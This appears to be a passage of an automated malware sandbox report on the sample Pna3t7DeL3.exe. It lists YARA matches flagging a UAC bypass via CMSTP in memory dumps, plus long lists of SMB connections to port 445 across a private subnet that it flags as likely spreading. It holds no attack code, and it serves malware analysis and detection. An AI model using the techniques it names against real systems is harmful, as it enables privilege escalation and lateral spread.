Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 3780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 5124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 4492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 5068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 3964, type: MEMORYSTR

Connects to many different private IPs (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445
Source: global traffic	TCP traffic: 192.168.2.149:445
Source: global traffic	TCP traffic: 192.168.2.146:445
Source: global traffic	TCP traffic: 192.168.2.147:445
Source: global traffic	TCP traffic: 192.168.2.140:445
Source: global traffic	TCP traffic: 192.168.2.141:445
Source: global traffic	TCP traffic: 192.168.2.144:445
Source: global traffic	TCP traffic: 192.168.2.145:445
Source: global traffic	TCP traffic: 192.168.2.142:445
Source: global traffic	TCP traffic: 192.168.2.143:445
Source: global traffic	TCP traffic: 192.168.2.159:445
Source: global traffic	TCP traffic: 192.168.2.157:445
Source: global traffic	TCP traffic: 192.168.2.158:445
Source: global traffic	TCP traffic: 192.168.2.151:445
Source: global traffic	TCP traffic: 192.168.2.152:445
Source: global traffic	TCP traffic: 192.168.2.150:445
Source: global traffic	TCP traffic: 192.168.2.155:445
Source: global traffic	TCP traffic: 192.168.2.156:445
Source: global traffic	TCP traffic: 192.168.2.153:445
Source: global traffic	TCP traffic: 192.168.2.154:445
Source: global traffic	TCP traffic: 192.168.2.126:445
Source: global traffic	TCP traffic: 192.168.2.247:445
Source: global traffic	TCP traffic: 192.168.2.127:445
Source: global traffic	TCP traffic: 192.168.2.248:445
Source: global traffic	TCP traffic: 192.168.2.124:445
Source: global traffic	TCP traffic: 192.168.2.245:445
Source: global traffic	TCP traffic: 192.168.2.125:445
Source: global traffic	TCP traffic: 192.168.2.246:445
Source: global traffic	TCP traffic: 192.168.2.128:445
Source: global traffic	TCP traffic: 192.168.2.249:445
Source: global traffic	TCP traffic: 192.168.2.129:445
Source: global traffic	TCP traffic: 192.168.2.240:445
Source: global traffic	TCP traffic: 192.168.2.122:445
Source: global traffic	TCP traffic: 192.168.2.243:445
Source: global traffic	TCP traffic: 192.168.2.123:445
Source: global traffic	TCP traffic: 192.168.2.244:445
Source: global traffic	TCP traffic: 192.168.2.120:445
Source: global traffic	TCP traffic: 192.168.2.241:445
Source: global traffic	TCP traffic: 192.168.2.121:445
Source: global traffic	TCP traffic: 192.168.2.242:445
Source: global traffic	TCP traffic: 192.168.2.97:445
Source: global traffic	TCP traffic: 192.168.2.137:445
Source: global traffic	TCP traffic: 192.168.2.96:445
Source: global traffic	TCP traffic: 192.168.2.138:445
Source: global traffic	TCP traffic: 192.168.2.99:445
Source: global traffic	TCP traffic: 192.168.2.135:445
Source: global traffic	TCP traffic: 192.168.2.98:445
Source: global traffic	TCP traffic: 192.168.2.136:445
Source: global traffic	TCP traffic: 192.168.2.139:445
Source: global traffic	TCP traffic: 192.168.2.250:445
Source: global traffic	TCP traffic: 192.168.2.130:445
Source: global traffic	TCP traffic: 192.168.2.251:445
Source: global traffic	TCP traffic: 192.168.2.91:445
Source: global traffic	TCP traffic: 192.168.2.90:445
Source: global traffic	TCP traffic: 192.168.2.93:445
Source: global traffic	TCP traffic: 192.168.2.133:445
Source: global traffic	TCP traffic: 192.168.2.254:445
Source: global traffic	TCP traffic: 192.168.2.92:445
Source: global traffic	TCP traffic: 192.168.2.134:445
Source: global traffic	TCP traffic: 192.168.2.255:445
Source: global traffic	TCP traffic: 192.168.2.95:445
Source: global traffic	TCP traffic: 192.168.2.131:445
Source: global traffic	TCP traffic: 192.168.2.252:445
Source: global traffic	TCP traffic: 192.168.2.94:445
Source: global traffic	TCP traffic: 192.168.2.132:445
Source: global traffic	TCP traffic: 192.168.2.253:445
Source: global traffic	TCP traffic: 192.168.2.104:445
Source: global traffic	TCP traffic: 192.168.2.225:445
Source: global traffic	TCP traffic: 192.168.2.105:445
Source: global traffic	TCP traffic: 192.168.2.226:445
Source: global traffic	TCP traffic: 192.168.2.102:445
Source: global traffic	TCP traffic: 192.168.2.223:445
Source: global traffic	TCP traffic: 192.168.2.103:445
Source: global traffic	TCP traffic: 192.168.2.224:445
Source: global traffic	TCP traffic: 192.168.2.108:445
Source: global traffic	TCP traffic: 192.168.2.229:445
Source: global traffic	TCP traffic: 192.168.2.109:445
Source: global traffic	TCP traffic: 192.168.2.106:445
Source: global traffic	TCP traffic: 192.168.2.227:445
Source: global traffic	TCP traffic: 192.168.2.107:445
Source: global traffic	TCP traffic: 192.168.2.228:445
Source: global traffic	TCP traffic: 192.168.2.100:445
Source: global traffic	TCP traffic: 192.168.2.221:445
Source: global traffic	TCP traffic: 192.168.2.101:445
Source: global traffic	TCP traffic: 192.168.2.222:445
Source: global traffic	TCP traffic: 192.168.2.220:445
Source: global traffic	TCP traffic: 192.168.2.115:445
Source: global traffic	TCP traffic: 192.168.2.236:445
Source: global traffic	TCP traffic: 192.168.2.116:445
Source: global traffic	TCP traffic: 192.168.2.237:445
Source: global traffic	TCP traffic: 192.168.2.113:445
Source: global traffic	TCP traffic: 192.168.2.234:445
Source: global traffic	TCP traffic: 192.168.2.114:445
Source: global traffic	TCP traffic: 192.168.2.235:445
Source: global traffic	TCP traffic: 192.168.2.119:445
Source: global traffic	TCP traffic: 192.168.2.117:445
Source: global traffic	TCP traffic: 192.168.2.238:445
Source: global traffic	TCP traffic: 192.168.2.118:445
Source: global traffic	TCP traffic: 192.168.2.239:445
Source: global traffic	TCP traffic: 192.168.2.111:445
Source: global traffic	TCP traffic: 192.168.2.232:445
Source: global traffic	TCP traffic: 192.168.2.112:445
Source: global traffic	TCP traffic: 192.168.2.233:445
Source: global traffic	TCP traffic: 192.168.2.230:445
Source: global traffic	TCP traffic: 192.168.2.110:445
Source: global traffic	TCP traffic: 192.168.2.231:445
Source: global traffic	TCP traffic: 192.168.2.203:445
Source: global traffic	TCP traffic: 192.168.2.204:445
Source: global traffic	TCP traffic: 192.168.2.201:445
Source: global traffic	TCP traffic: 192.168.2.202:445
Source: global traffic	TCP traffic: 192.168.2.207:445
Source: global traffic	TCP traffic: 192.168.2.208:445
Source: global traffic	TCP traffic: 192.168.2.205:445
Source: global traffic	TCP traffic: 192.168.2.206:445
Source: global traffic	TCP traffic: 192.168.2.200:445
Source: global traffic	TCP traffic: 192.168.2.209:445
Source: global traffic	TCP traffic: 192.168.2.214:445
Source: global traffic	TCP traffic: 192.168.2.215:445
Source: global traffic	TCP traffic: 192.168.2.212:445
Source: global traffic	TCP traffic: 192.168.2.213:445
Source: global traffic	TCP traffic: 192.168.2.218:445
Source: global traffic	TCP traffic: 192.168.2.219:445
Source: global traffic	TCP traffic: 192.168.2.216:445
Source: global traffic	TCP traffic: 192.168.2.217:445
Source: global traffic	TCP traffic: 192.168.2.210:445
Source: global traffic	TCP traffic: 192.168.2.211:445
Source: global traffic	TCP traffic: 192.168.2.39:445
Source: global traffic	TCP traffic: 192.168.2.38:445
Source: global traffic	TCP traffic: 192.168.2.42:445
Source: global traffic	TCP traffic: 192.168.2.41:445
Source: global traffic	TCP traffic: 192.168.2.44:445
Source: global traffic	TCP traffic: 192.168.2.43:445
Source: global traffic	TCP traffic: 192.168.2.46:445
Source: global traffic	TCP traffic: 192.168.2.45:445
Source: global traffic	TCP traffic: 192.168.2.48:445
Source: global traffic	TCP traffic: 192.168.2.47:445
Source: global traffic	TCP traffic: 192.168.2.40:445
Source: global traffic	TCP traffic: 192.168.2.28:445
Source: global traffic	TCP traffic: 192.168.2.27:445
Source: global traffic	TCP traffic: 192.168.2.29:445
Source: global traffic	TCP traffic: 192.168.2.31:445
Source: global traffic	TCP traffic: 192.168.2.30:445
Source: global traffic	TCP traffic: 192.168.2.33:445
Source: global traffic	TCP traffic: 192.168.2.32:445
Source: global traffic	TCP traffic: 192.168.2.35:445
Source: global traffic	TCP traffic: 192.168.2.34:445
Source: global traffic	TCP traffic: 192.168.2.37:445
Source: global traffic	TCP traffic: 192.168.2.36:445
Source: global traffic	TCP traffic: 192.168.2.17:445
Source: global traffic	TCP traffic: 192.168.2.16:445
Source: global traffic	TCP traffic: 192.168.2.19:445
Source: global traffic	TCP traffic: 192.168.2.18:445
Source: global traffic	TCP traffic: 192.168.2.20:445
Source: global traffic	TCP traffic: 192.168.2.22:445
Source: global traffic	TCP traffic: 192.168.2.21:445
Source: global traffic	TCP traffic: 192.168.2.24:445
Source: global traffic	TCP traffic: 192.168.2.23:445
Source: global traffic	TCP traffic: 192.168.2.26:445
Source: global traffic	TCP traffic: 192.168.2.25:445
Source: global traffic	TCP traffic: 192.168.2.11:445
Source: global traffic	TCP traffic: 192.168.2.10:445
Source: global traffic	TCP traffic: 192.168.2.13:445
Source: global traffic	TCP traffic: 192.168.2.12:445
Source: global traffic	TCP traffic: 192.168.2.15:445
Source: global traffic	TCP traffic: 192.168.2.14:445
Source: global traffic	TCP traffic: 192.168.2.0:445
Source: global traffic	TCP traffic: 192.168.2.2:445
Source: global traffic	TCP traffic: 192.168.2.1:445
Source: global traffic	TCP traffic: 192.168.2.180:445
Source: global traffic	TCP traffic: 192.168.2.181:445
Source: global traffic	TCP traffic: 192.168.2.8:445
Source: global traffic	TCP traffic: 192.168.2.7:445
Source: global traffic	TCP traffic: 192.168.2.9:445
Source: global traffic	TCP traffic: 192.168.2.4:445
Source: global traffic	TCP traffic: 192.168.2.6:445
Source: global traffic	TCP traffic: 192.168.2.5:445
Source: global traffic	TCP traffic: 192.168.2.86:445
Source: global traffic	TCP traffic: 192.168.2.85:445
Source: global traffic	TCP traffic: 192.168.2.88:445
Source: global traffic	TCP traffic: 192.168.2.87:445
Source: global traffic	TCP traffic: 192.168.2.89:445
Source: global traffic	TCP traffic: 192.168.2.184:445
Source: global traffic	TCP traffic: 192.168.2.185:445
Source: global traffic	TCP traffic: 192.168.2.80:445
Source: global traffic	TCP traffic: 192.168.2.182:445
Source: global traffic	TCP traffic: 192.168.2.183:445
Source: global traffic	TCP traffic: 192.168.2.82:445
Source: global traffic	TCP traffic: 192.168.2.188:445
Source: global traffic	TCP traffic: 192.168.2.81:445
Source: global traffic	TCP traffic: 192.168.2.189:445
Source: global traffic	TCP traffic: 192.168.2.84:445
Source: global traffic	TCP traffic: 192.168.2.186:445
Source: global traffic	TCP traffic: 192.168.2.83:445
Source: global traffic	TCP traffic: 192.168.2.187:445
Source: global traffic	TCP traffic: 192.168.2.191:445
Source: global traffic	TCP traffic: 192.168.2.192:445
Source: global traffic	TCP traffic: 192.168.2.190:445
Source: global traffic	TCP traffic: 192.168.2.75:445
Source: global traffic	TCP traffic: 192.168.2.74:445
Source: global traffic	TCP traffic: 192.168.2.77:445
Source: global traffic	TCP traffic: 192.168.2.76:445
Source: global traffic	TCP traffic: 192.168.2.79:445
Source: global traffic	TCP traffic: 192.168.2.78:445
Source: global traffic	TCP traffic: 192.168.2.195:445
Source: global traffic	TCP traffic: 192.168.2.196:445
Source: global traffic	TCP traffic: 192.168.2.193:445
Source: global traffic	TCP traffic: 192.168.2.194:445
Source: global traffic	TCP traffic: 192.168.2.71:445
Source: global traffic	TCP traffic: 192.168.2.199:445
Source: global traffic	TCP traffic: 192.168.2.70:445
Source: global traffic	TCP traffic: 192.168.2.73:445
Source: global traffic	TCP traffic: 192.168.2.197:445
Source: global traffic	TCP traffic: 192.168.2.72:445
Source: global traffic	TCP traffic: 192.168.2.198:445
Source: global traffic	TCP traffic: 192.168.2.64:445
Source: global traffic	TCP traffic: 192.168.2.63:445
Source: global traffic	TCP traffic: 192.168.2.66:445
Source: global traffic	TCP traffic: 192.168.2.168:445
Source: global traffic	TCP traffic: 192.168.2.65:445
Source: global traffic	TCP traffic: 192.168.2.169:445
Source: global traffic	TCP traffic: 192.168.2.68:445
Source: global traffic	TCP traffic: 192.168.2.67:445
Source: global traffic	TCP traffic: 192.168.2.69:445
Source: global traffic	TCP traffic: 192.168.2.162:445
Source: global traffic	TCP traffic: 192.168.2.163:445
Source: global traffic	TCP traffic: 192.168.2.160:445
Source: global traffic	TCP traffic: 192.168.2.161:445
Source: global traffic	TCP traffic: 192.168.2.60:445
Source: global traffic	TCP traffic: 192.168.2.166:445
Source: global traffic	TCP traffic: 192.168.2.167:445
Source: global traffic	TCP traffic: 192.168.2.62:445
Source: global traffic	TCP traffic: 192.168.2.164:445
Source: global traffic	TCP traffic: 192.168.2.61:445
Source: global traffic	TCP traffic: 192.168.2.165:445
Source: global traffic	TCP traffic: 192.168.2.170:445
Source: global traffic	TCP traffic: 192.168.2.49:445
Source: global traffic	TCP traffic: 192.168.2.53:445
Source: global traffic	TCP traffic: 192.168.2.52:445
Source: global traffic	TCP traffic: 192.168.2.55:445
Source: global traffic	TCP traffic: 192.168.2.179:445
Source: global traffic	TCP traffic: 192.168.2.54:445
Source: global traffic	TCP traffic: 192.168.2.57:445
Source: global traffic	TCP traffic: 192.168.2.56:445
Source: global traffic	TCP traffic: 192.168.2.59:445
Source: global traffic	TCP traffic: 192.168.2.58:445
Source: global traffic	TCP traffic: 192.168.2.173:445
Source: global traffic	TCP traffic: 192.168.2.174:445
Source: global traffic	TCP traffic: 192.168.2.171:445
Source: global traffic	TCP traffic: 192.168.2.172:445
Source: global traffic	TCP traffic: 192.168.2.177:445
Source: global traffic	TCP traffic: 192.168.2.178:445
Source: global traffic	TCP traffic: 192.168.2.51:445
Source: global traffic	TCP traffic: 192.168.2.175:445
Source: global traffic	TCP traffic: 192.168.2.50:445
Source: global traffic	TCP traffic: 192.168.2.176:445

Connects to many different private IPs via SMB (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445
Source: global traffic	TCP traffic: 192.168.2.149:445
Source: global traffic	TCP traffic: 192.168.2.146:445
Source: global traffic	TCP traffic: 192.168.2.147:445
Source: global traffic	TCP traffic: 192.168.2.140:445
Source: global traffic	TCP traffic: 192.168.2.141:445
Source: global traffic	TCP traffic: 192.168.2.144:445
Source: global traffic	TCP traffic: 192.168.2.145:445
Source: global traffic	TCP traffic: 192.168.2.142:445
Source: global traffic	TCP traffic: 192.168.2.143:445
Source: global traffic	TCP traffic: 192.168.2.159:445
Source: global traffic	TCP traffic: 192.168.2.157:445
Source: global traffic	TCP traffic: 192.168.2.158:445
Source: global traffic	TCP traffic: 192.168.2.151:445
Source: global traffic	TCP traffic: 192.168.2.152:445
Source: global traffic	TCP traffic: 192.168.2.150:445
Source: global traffic	TCP traffic: 192.168.2.155:445
Source: global traffic	TCP traffic: 192.168.2.156:445
Source: global traffic	TCP traffic: 192.168.2.153:445
Source: global traffic	TCP traffic: 192.168.2.154:445
Source: global traffic	TCP traffic: 192.168.2.126:445
Source: global traffic	TCP traffic: 192.168.2.247:445
Source: global traffic	TCP traffic: 192.168.2.127:445
Source: global traffic	TCP traffic: 192.168.2.248:445
Source: global traffic	TCP traffic: 192.168.2.124:445
Source: global traffic	TCP traffic: 192.168.2.245:445
Source: global traffic	TCP traffic: 192.168.2.125:445
Source: global traffic	TCP traffic: 192.168.2.246:445
Source: global traffic	TCP traffic: 192.168.2.128:445
Source: global traffic	TCP traffic: 192.168.2.249:445
Source: global traffic	TCP traffic: 192.168.2.129:445
Source: global traffic	TCP traffic: 192.168.2.240:445
Source: global traffic	TCP traffic: 192.168.2.122:445
Source: global traffic	TCP traffic: 192.168.2.243:445
Source: global traffic	TCP traffic: 192.168.2.123:445
Source: global traffic	TCP traffic: 192.168.2.244:445
Source: global traffic	TCP traffic: 192.168.2.120:445
Source: global traffic	TCP traffic: 192.168.2.241:445
Source: global traffic	TCP traffic: 192.168.2.121:445
Source: global traffic	TCP traffic: 192.168.2.242:445
Source: global traffic	TCP traffic: 192.168.2.97:445
Source: global traffic	TCP traffic: 192.168.2.137:445
Source: global traffic	TCP traffic: 192.168.2.96:445
Source: global traffic	TCP traffic: 192.168.2.138:445
Source: global traffic	TCP traffic: 192.168.2.99:445
Source: global traffic	TCP traffic: 192.168.2.135:445
Source: global traffic	TCP traffic: 192.168.2.98:445
Source: global traffic	TCP traffic: 192.168.2.136:445
Source: global traffic	TCP traffic: 192.168.2.139:445
Source: global traffic	TCP traffic: 192.168.2.250:445
Source: global traffic	TCP traffic: 192.168.2.130:445
Source: global traffic	TCP traffic: 192.168.2.251:445
Source: global traffic	TCP traffic: 192.168.2.91:445
Source: global traffic	TCP traffic: 192.168.2.90:445
Source: global traffic	TCP traffic: 192.168.2.93:445
Source: global traffic	TCP traffic: 192.168.2.133:445
Source: global traffic	TCP traffic: 192.168.2.254:445
Source: global traffic	TCP traffic: 192.168.2.92:445
Source: global traffic	TCP traffic: 192.168.2.134:445
Source: global traffic	TCP traffic: 192.168.2.255:445
Source: global traffic	TCP traffic: 192.168.2.95:445
Source: global traffic	TCP traffic: 192.168.2.131:445
Source: global traffic	TCP traffic: 192.168.2.252:445
Source: global traffic	TCP traffic: 192.168.2.94:445
Source: global traffic	TCP traffic: 192.168.2.132:445
Source: global traffic	TCP traffic: 192.168.2.253:445
Source: global traffic	TCP traffic: 192.168.2.104:445
Source: global traffic	TCP traffic: 192.168.2.225:445
Source: global traffic	TCP traffic: 192.168.2.105:445
Source: global traffic	TCP traffic: 192.168.2.226:445
Source: global traffic	TCP traffic: 192.168.2.102:445
Source: global traffic	TCP traffic: 192.168.2.223:445
Source: global traffic	TCP traffic: 192.168.2.103:445
Source: global traffic	TCP traffic: 192.168.2.224:445
Source: global traffic	TCP traffic: 192.168.2.108:445
Source: global traffic	TCP traffic: 192.168.2.229:445
Source: global traffic	TCP traffic: 192.168.2.109:445
Source: global traffic	TCP traffic: 192.168.2.106:445
Source: global traffic	TCP traffic: 192.168.2.227:445
Source: global traffic	TCP traffic: 192.168.2.107:445
Source: global traffic	TCP traffic: 192.168.2.228:445
Source: global traffic	TCP traffic: 192.168.2.100:445
Source: global traffic	TCP traffic: 192.168.2.221:445
Source: global traffic	TCP traffic: 192.168.2.101:445
Source: global traffic	TCP traffic: 192.168.2.222:445
Source: global traffic	TCP traffic: 192.168.2.220:445
Source: global traffic	TCP traffic: 192.168.2.115:445
Source: global traffic	TCP traffic: 192.168.2.236:445
Source: global traffic	TCP traffic: 192.168.2.116:445
Source: global traffic	TCP traffic: 192.168.2.237:445
Source: global traffic	TCP traffic: 192.168.2.113:445
Source: global traffic	TCP traffic: 192.168.2.234:445
Source: global traffic	TCP traffic: 192.168.2.114:445
Source: global traffic	TCP traffic: 192.168.2.235:445
Source: global traffic	TCP traffic: 192.168.2.119:445
Source: global traffic	TCP traffic: 192.168.2.117:445
Source: global traffic	TCP traffic: 192.168.2.238:445
Source: global traffic	TCP traffic: 192.168.2.118:445
Source: global traffic	TCP traffic: 192.168.2.239:445
Source: global traffic	TCP traffic: 192.168.2.111:445
Source: global traffic	TCP traffic: 192.168.2.232:445
Source: global traffic	TCP traffic: 192.168.2.112:445
Source: global traffic	TCP traffic: 192.168.2.233:445
Source: global traffic	TCP traffic: 192.168.2.230:445
Source: global traffic	TCP traffic: 192.168.2.110:445
Source: global traffic	TCP traffic: 192.168.2.231:445
Source: global traffic	TCP traffic: 192.168.2.203:445
Source: global traffic	TCP traffic: 192.168.2.204:445
Source: global traffic	TCP traffic: 192.168.2.201:445
Source: global traffic	TCP traffic: 192.168.2.202:445
Source: global traffic	TCP traffic: 192.168.2.207:445
Source: global traffic	TCP traffic: 192.168.2.208:445
Source: global traffic	TCP traffic: 192.168.2.205:445
Source: global traffic	TCP traffic: 192.168.2.206:445
Source: global traffic	TCP traffic: 192.168.2.200:445
Source: global traffic	TCP traffic: 192.168.2.209:445
Source: global traffic	TCP traffic: 192.168.2.214:445
Source: global traffic	TCP traffic: 192.168.2.215:445
Source: global traffic	TCP traffic: 192.168.2.212:445
Source: global traffic	TCP traffic: 192.168.2.213:445
Source: global traffic	TCP traffic: 192.168.2.218:445
Source: global traffic	TCP traffic: 192.168.2.219:445
Source: global traffic	TCP traffic: 192.168.2.216:445
Source: global traffic	TCP traffic: 192.168.2.217:445
Source: global traffic	TCP traffic: 192.168.2.210:445
Source: global traffic	TCP traffic: 192.168.2.211:445
Source: global traffic	TCP traffic: 192.168.2.39:445
Source: global traffic	TCP traffic: 192.168.2.38:445
Source: global traffic	TCP traffic: 192.168.2.42:445
Source: global traffic	TCP traffic: 192.168.2.41:445
Source: global traffic	TCP traffic: 192.168.2.44:445
Source: global traffic	TCP traffic: 192.168.2.43:445
Source: global traffic	TCP traffic: 192.168.2.46:445
Source: global traffic	TCP traffic: 192.168.2.45:445
Source: global traffic	TCP traffic: 192.168.2.48:445
Source: global traffic	TCP traffic: 192.168.2.47:445
Source: global traffic	TCP traffic: 192.168.2.40:445
Source: global traffic	TCP traffic: 192.168.2.28:445
Source: global traffic	TCP traffic: 192.168.2.27:445
Source: global traffic	TCP traffic: 192.168.2.29:445
Source: global traffic	TCP traffic: 192.168.2.31:445
Source: global traffic	TCP traffic: 192.168.2.30:445
Source: global traffic	TCP traffic: 192.168.2.33:445
Source: global traffic	TCP traffic: 192.168.2.32:445
Source: global traffic	TCP traffic: 192.168.2.35:445
Source: global traffic	TCP traffic: 192.168.2.34:445
Source: global traffic	TCP traffic: 192.168.2.37:445
Source: global traffic	TCP traffic: 192.168.2.36:445
Source: global traffic	TCP traffic: 192.168.2.17:445
Source: global traffic	TCP traffic: 192.168.2.16:445
Source: global traffic	TCP traffic: 192.168.2.19:445
Source: global traffic	TCP traffic: 192.168.2.18:445
Source: global traffic	TCP traffic: 192.168.2.20:445
Source: global traffic	TCP traffic: 192.168.2.22:445
Source: global traffic	TCP traffic: 192.168.2.21:445
Source: global traffic	TCP traffic: 192.168.2.24:445
Source: global traffic	TCP traffic: 192.168.2.23:445
Source: global traffic	TCP traffic: 192.168.2.26:445
Source: global traffic	TCP traffic: 192.168.2.25:445
Source: global traffic	TCP traffic: 192.168.2.11:445
Source: global traffic	TCP traffic: 192.168.2.10:445
Source: global traffic	TCP traffic: 192.168.2.13:445
Source: global traffic	TCP traffic: 192.168.2.12:445
Source: global traffic	TCP traffic: 192.168.2.15:445
Source: global traffic	TCP traffic: 192.168.2.14:445
Source: global traffic	TCP traffic: 192.168.2.0:445
Source: global traffic	TCP traffic: 192.168.2.2:445
Source: global traffic	TCP traffic: 192.168.2.1:445
Source: global traffic	TCP traffic: 192.168.2.180:445
Source: global traffic	TCP traffic: 192.168.2.181:445
Source: global traffic	TCP traffic: 192.168.2.8:445
Source: global traffic	TCP traffic: 192.168.2.7:445
Source: global traffic	TCP traffic: 192.168.2.9:445
Source: global traffic	TCP traffic: 192.168.2.4:445
Source: global traffic	TCP traffic: 192.168.2.6:445
Source: global traffic	TCP traffic: 192.168.2.5:445
Source: global traffic	TCP traffic: 192.168.2.86:445
Source: global traffic	TCP traffic: 192.168.2.85:445
Source: global traffic	TCP traffic: 192.168.2.88:445
Source: global traffic	TCP traffic: 192.168.2.87:445
Source: global traffic	TCP traffic: 192.168.2.89:445
Source: global traffic	TCP traffic: 192.168.2.184:445
Source: global traffic	TCP traffic: 192.168.2.185:445
Source: global traffic	TCP traffic: 192.168.2.80:445
Source: global traffic	TCP traffic: 192.168.2.182:445
Source: global traffic	TCP traffic: 192.168.2.183:445
Source: global traffic	TCP traffic: 192.168.2.82:445
Source: global traffic	TCP traffic: 192.168.2.188:445
Source: global traffic	TCP traffic: 192.168.2.81:445
Source: global traffic	TCP traffic: 192.168.2.189:445
Source: global traffic	TCP traffic: 192.168.2.84:445
Source: global traffic	TCP traffic: 192.168.2.186:445
Source: global traffic	TCP traffic: 192.168.2.83:445
Source: global traffic	TCP traffic: 192.168.2.187:445
Source: global traffic	TCP traffic: 192.168.2.191:445
Source: global traffic	TCP traffic: 192.168.2.192:445
Source: global traffic	TCP traffic: 192.168.2.190:445
Source: global traffic	TCP traffic: 192.168.2.75:445
Source: global traffic	TCP traffic: 192.168.2.74:445
Source: global traffic	TCP traffic: 192.168.2.77:445
Source: global traffic	TCP traffic: 192.168.2.76:445
Source: global traffic	TCP traffic: 192.168.2.79:445
Source: global traffic	TCP traffic: 192.168.2.78:445
Source: global traffic	TCP traffic: 192.168.2.195:445
Source: global traffic	TCP traffic: 192.168.2.196:445
Source: global traffic	TCP traffic: 192.168.2.193:445
Source: global traffic	TCP traffic: 192.168.2.194:445
Source: global traffic	TCP traffic: 192.168.2.71:445
Source: global traffic	TCP traffic: 192.168.2.199:445
Source: global traffic	TCP traffic: 192.168.2.70:445
Source: global traffic	TCP traffic: 192.168.2.73:445
Source: global traffic	TCP traffic: 192.168.2.197:445
